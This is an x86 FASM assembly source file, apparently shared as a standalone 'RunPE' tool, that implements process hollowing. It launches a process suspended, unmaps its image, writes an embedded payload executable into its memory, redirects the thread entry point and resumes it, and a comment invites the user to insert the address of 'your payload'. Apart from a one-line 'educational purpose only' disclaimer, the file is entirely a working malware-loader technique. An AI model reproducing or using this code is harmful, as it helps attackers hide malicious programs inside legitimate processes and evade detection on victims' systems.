ASM RunPE

;BASIC FASM RUNPE
;CODED BY ARMITAGE FOR EDUCATIONAL PURPOSE ONLY

format PE GUI 4.0
entry start
include "INCLUDE\WIN32A.INC"

section ".text" code executable readable

  start:

    push PROCESSINFORMATION
    push STARTUP_INFO
    push 0
    push 0
    push CREATE_SUSPENDED
    push 0
    push 0
    push 0
    push TargetProcess
    push 0
    call [CreateProcessA]
    mov dword [CONTEXT], 10002h         ;Set CONTEXT.ContextFlags
    push CONTEXT
    push dword [PROCESSINFORMATION+4]   ;PROCESS_INFORMATION.hThread
    call [GetThreadContext]
    cmp eax, 0
    je ExitProcess
    mov eax, dword [CONTEXT+0A4h]   ;CONTEXT.EBX
    add eax, 8                      ;PEB ADDRESS
    push 0
    push 4
    push BASEADDRESS
    push eax
    push dword [PROCESSINFORMATION]
    call [ReadProcessMemory]
    push dword [BASEADDRESS]
    push dword [PROCESSINFORMATION]
    call [NtUnmapViewOfSection]
    mov eax, dword [DataPtr]
    mov ebx, eax
    mov ax, word [eax]
    cmp ax, 5A4Dh
    jne ExitProcess
    mov eax, dword [ebx+3Ch]     ;IMAGE_DOS_HEADER.e_lfanew
    add eax, ebx
    mov esi, eax                     ;Saving the pointer
    mov eax, dword [eax]
    cmp eax, 4550h
    jne ExitProcess
    mov ax, word [esi+6h]
    mov word [NUMBEROFSECTIONS], ax
    mov eax, dword [esi+34h]
    mov dword [IMAGEBASE], eax
    cmp eax, dword [BASEADDRESS]
    jne ExitProcess
    mov eax, dword [esi+50h]
    mov dword [SIZEOFIMAGE], eax
    mov eax, dword [esi+54h]
    mov dword [SIZEOFHEADERS], eax
    add esi, 0F8h
    mov dword [SECTIONHEADER_PTR], esi
    push PAGE_EXECUTE_READWRITE
    push MEM_COMMIT or MEM_RESERVE
    push dword [SIZEOFIMAGE]
    push dword [IMAGEBASE]
    push dword [PROCESSINFORMATION]
    call [VirtualAllocEx]
    push RETURN
    push dword [SIZEOFHEADERS]
    push dword [DataPtr]
    push eax                           ;VirtualAllocEx returned value
    push dword [PROCESSINFORMATION]
    call [WriteProcessMemory]          ;WRITE IMAGE_NT_HEADERS
    mov ecx, 0
    mov edi, 28h

    WriteSections:

    mov eax, dword [SECTIONHEADER_PTR]
    mov esi, eax                     ;We save the pointer into ESI

    add eax, 0Ch
    mov dword [rTemp], eax
    mov eax, ecx
    mul edi
    mov edx, dword [rTemp]
    add edx, eax
    mov eax, dword [edx]
    add eax, dword [IMAGEBASE]       ;IMAGE_SECTION_HEADER[i].VirtualAddress + IMAGEBASE
    mov dword [rTemp], eax           ;Save the value

    mov ebx, esi                     ;We save the pointer into EBX
    add esi, 10h
    mov eax, ecx
    mul edi
    add esi, eax
    mov esi, dword [esi]             ;IMAGE_SECTION_HEADER[i].SizeOfRawData
    mov dword [rTemp2], esi

    add ebx, 14h
    mov eax, ecx
    mul edi
    add ebx, eax
    mov eax, dword [ebx]             ;IMAGE_SECTION_HEADERS[i].PointerToRawData
    add eax, dword [DataPtr]

    mov word [ecxtemp], ecx

    push RETURN
    push dword [rTemp2]              ;IMAGE_SECTION_HEADERS[1].SizeOfRawData
    push eax                         ;IMAGE_SECTION_HEADERS[i].PointerToRawData
    push dword [rTemp]               ;IMAGE_SECTION_HEADERS[i].VirtualAddress + IMAGEBASE
    push dword [PROCESSINFORMATION]  ;PROCESS_INFORMATION.hProcess
    call [WriteProcessMemory]

    mov ecx, dword [ecxtemp]

    inc ecx
    cmp cx, word [NUMBEROFSECTIONS]
    jne WriteSections

    mov eax, dword [CONTEXT+0A4h]   ;CONTEXT.EBX
    add eax, 8

    push 0
    push 4
    push BASEADDRESS
    push eax
    push dword [PROCESSINFORMATION]
    call [WriteProcessMemory]

    mov eax, dword [DataPtr]
    mov eax, dword [eax+3Ch]      ;IMAGE_DOS_HEADER.e_lfanew
    add eax, dword [DataPtr]
    mov eax, dword [eax+28h]      ;OptionalHeader.AddressOfEntryPoint
    add eax, dword [IMAGEBASE]    ;It's not relative now :)
    mov dword [CONTEXT+0B0h], eax
    push CONTEXT
    push dword [PROCESSINFORMATION+4]
    call [SetThreadContext]
    push dword [PROCESSINFORMATION+4]
    call [ResumeThread]
    push 0
    call [Exit_Process]


ExitProcess:
   push 0
   push dword [PROCESSINFORMATION]
   call [TerminateProcess]
   push dword [PROCESSINFORMATION+4]  ;PROCESS_INFORMATION.hThread
   call [CloseHandle]
   push dword [PROCESSINFORMATION]   ;PROCESS_INFORMATION.hProcess
   call [CloseHandle]
   push 0
   call [Exit_Process]

section ".data" data readable writable

  TargetProcess db "C:\Users\XNXX.COM(lol)\Desktop\Coding\FASM IDE\RunPE.exe", 0
  DataPtr dd 405058h ;write here the VA of your payload




section ".bss" readable writable

  ;WE WILL USE BSS SEGMENT INSTEAD OF STRUCTURES :)
  PROCESSINFORMATION rb 10h
  STARTUP_INFO rb 44h
  CONTEXT rb 2CCh
  BASEADDRESS rd 1
  RETURN rd 1
  IMAGEBASE rd 1
  SIZEOFIMAGE rd 1
  SIZEOFHEADERS rd 1
  NUMBEROFSECTIONS rw 1
  SECTIONHEADER_PTR rd 1
  rTemp rd 1
  rTemp2 rd 1
  ecxtemp rw 1

section ".idata" import data readable writeable

  library kernel,"KERNEL32.DLL",\
          ntdll,"NTDLL.DLL"
  import kernel,\
         CreateProcessA, "CreateProcessA",\
         GetThreadContext, "GetThreadContext",\
         SetThreadContext, "SetThreadContext",\
         VirtualAllocEx, "VirtualAllocEx",\
         ReadProcessMemory, "ReadProcessMemory",\
         WriteProcessMemory, "WriteProcessMemory",\
         ResumeThread, "ResumeThread",\
         CloseHandle, "CloseHandle",\
         TerminateProcess, "TerminateProcess",\
         Exit_Process,"ExitProcess"
  import ntdll,\
         NtUnmapViewOfSection, "NtUnmapViewOfSection"